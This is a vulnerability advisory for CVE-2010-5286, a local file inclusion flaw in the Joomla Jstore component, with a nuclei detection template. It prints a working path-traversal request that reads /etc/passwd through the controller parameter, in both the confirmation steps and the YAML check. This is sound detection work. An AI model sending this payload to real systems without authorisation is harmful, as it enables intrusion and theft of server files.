Joomla! Component Jstore - 'Controller' Local File Inclusion

criticalseverity

10CVSS score

12.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in Jstore (com_jstore) component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

Arbitrary file inclusion leading to remote code execution

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-5286 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-5286

info:
  name: Joomla! Component Jstore - 'Controller' Local File Inclusion
  author: daffainfo
  severity: critical
  description: A directory traversal vulnerability in Jstore (com_jstore) component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Arbitrary file inclusion leading to remote code execution
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34837
    - https://nvd.nist.gov/vuln/detail/CVE-2010-5286
    - http://packetstormsecurity.org/1010-exploits/joomlajstore-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2010-5286
    cwe-id: CWE-22
    epss-score: 0.12142
    epss-percentile: 0.9619
    cpe: cpe:2.3:a:joobi:com_jstore:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joobi
    product: com_jstore
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joobi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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